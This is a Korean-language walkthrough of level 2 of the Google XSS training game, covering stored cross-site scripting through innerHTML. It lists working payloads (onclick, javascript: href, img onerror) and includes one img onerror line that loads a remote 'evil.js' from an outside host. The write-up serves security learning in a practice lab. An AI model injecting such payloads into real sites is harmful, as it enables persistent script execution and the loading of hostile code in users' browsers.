Google XSS 챌린지: 지속성이 핵심인 수준 2(자세한 연습)

전제 조건



시작하기 전에 XSS에 대해 잘 알고 있거나 최소한 그것에 대해 알고 있어야 합니다. 다음은 XSS가 무엇인지 이해하기 위해 읽을 수 있는 좋은 기사입니다. Read !

또한 독자들이 최소한 JavaScript에 익숙하다고 가정합니다. 그렇지 않다면 JS와 시간을 보내고 기본 사항에 익숙해지도록 제안합니다. 매우 유용한 javascript.infoMDN을 참조할 수 있습니다.

💡 Also in this whole series we'll not even roll our eyes on Hints and Toggle Code as in real-world bug hunting no one will give you hints or non-obfuscator source code so you have to figure out things yourself.



임무 설명



웹 응용 프로그램은 종종 사용자 데이터를 서버 측 및 클라이언트 측 데이터베이스에 보관하고 나중에 사용자에게 표시합니다. 이러한 사용자 제어 데이터의 출처에 관계없이 신중하게 처리해야 합니다.

이 수준은 복잡한 앱에서 XSS 버그가 얼마나 쉽게 도입될 수 있는지 보여줍니다.

임무 목표



응용 프로그램의 컨텍스트에서 alert()를 팝업하는 스크립트를 삽입하십시오.

참고: 응용 프로그램은 게시물을 저장하므로 경고를 실행하기 위해 코드를 몰래 입력하면 다시 로드할 때마다 이 수준이 해결됩니다.

침입



우리의 접근 방식은 다음과 같습니다.
  • 다양한 입력을 시도하고 이것이 어떻게 작동하는지 이해합니다.
  • 응용 프로그램에 대한 이해를 바탕으로 페이로드를 만듭니다.

  • 임의의 입력을 시도하여 시작하겠습니다.

    입력 1: 안녕하세요

    그리고 예! madchattr의 게시물입니다. 페이지를 새로고침하면 게시물이 여전히 있는 것을 볼 수 있습니다. 이는 우리의 입력이 어딘가에 저장되고 있음을 의미합니다.

    입력 2: <marquee>Hello</marquee>


    이제 HTML도 렌더링한다고 말할 수 있습니다. 당신은 우리의 다음 행동이 무엇인지 알고 있습니다 😉

    입력 3: <script>alert("xss level 2")</script>
    하지만 일이 우리가 원하는 대로 되지 않았습니다. 명백한 것은 표시되지 않지만 아무 것도 실행되지 않아 우리의 무기인 DEV TOOLS를 충전해야 합니다!



    마지막 게시물을 살펴보면 스크립트 태그가 <blockquote> 안에 있음을 알 수 있습니다.




    blockquotescript의 실행을 방해합니까? 나는 그렇게 생각하지 않으며 그것을 시도한 후에 나는 그것이 blockquote가 아니라고 확신합니다.

    HTML 양식인 입력을 검사하면 id="post-form" 이 표시됩니다. 가정하면 양식 제출을 듣고 데이터를 처리할 일부eventlistener가 있어야 합니다. 개발자 콘솔에서 submit 키워드를 검색해 봅시다.



    흠, 재미있다! 스크립트가 하는 일은 양식 제출 이벤트를 수신한 다음 양식 값, 즉 입력으로 무언가를 하는 것입니다. 그것은 DB.save()로 무언가를 하고 있습니다. 디버거를 사용하여 전체 프로세스가 어떻게 작동하는지 알아봅시다.



    디버깅을 통해 애플리케이션에 대해 다음을 이해합니다.
  • 브라우저의 로컬 저장소에 게시물을 저장합니다(기능(PostDB()))
  • element.innerHTML (in function displayPosts() )
  • 를 사용하여 웹 페이지에서 입력을 렌더링합니다.

    약간의 인터넷 검색 후에 element.innerHTML 스크립트 태그가 실행되지 않는다는 것을 알았습니다.

    If a <div>, <span>, or <noembed> node has a child text node that includes the characters (&), (<), or (>), innerHTML returns these characters as the HTML entities &amp;, &lt; and &gt; respectively. Use Node.textContent to get a raw copy of these text nodes' contents.
    Read more



    이제 우리는 누가 우리를 방해하는지 알았으므로 페이로드를 만들어야 하며 인라인 JavaScript를 사용할 것입니다.

    페이로드: <button onclick="alert('xss level 2')">click me</button>
    스크립트 태그가 아니므로 렌더링되며 버튼을 클릭하면 onclick가 실행됩니다. 실행alert('xss level 2')하고 우리가 원하는 경고를 표시합니다.

    다른 페이로드도 시도할 수 있습니다.
  • <a href="javascript: alert('anchor')">click me!</a>
  • <img src=lol onerror="alert('img tag')" />

  • 게시물을 마치기 전에 미친 XSS 공격이 어떻게 가능한지 보여주고 싶습니다. 다음을 복사하여 붙여넣으면 나머지는 표시됩니다.

    <img src=1 onerror="s=document.createElement('script');s.src='//xss-doc.appspot.com/static/evil.js';document.body.appendChild(s);"
    


    위험한 것은 로컬 저장소에 저장되어 있기 때문에 페이지를 새로 고치더라도 스크립트가 다시 실행될 것입니다.

    우리는 아직 끝나지 않았습니다!! 완료해야 할 Google XSS 챌린지가 4개 더 있으므로 blog section으로 이동하여 연습을 확인하세요.

    🥳 이제 인용으로 게시물을 마무리할 시간입니다.

    “I am still learning.” — Michelangelo

    좋은 웹페이지 즐겨찾기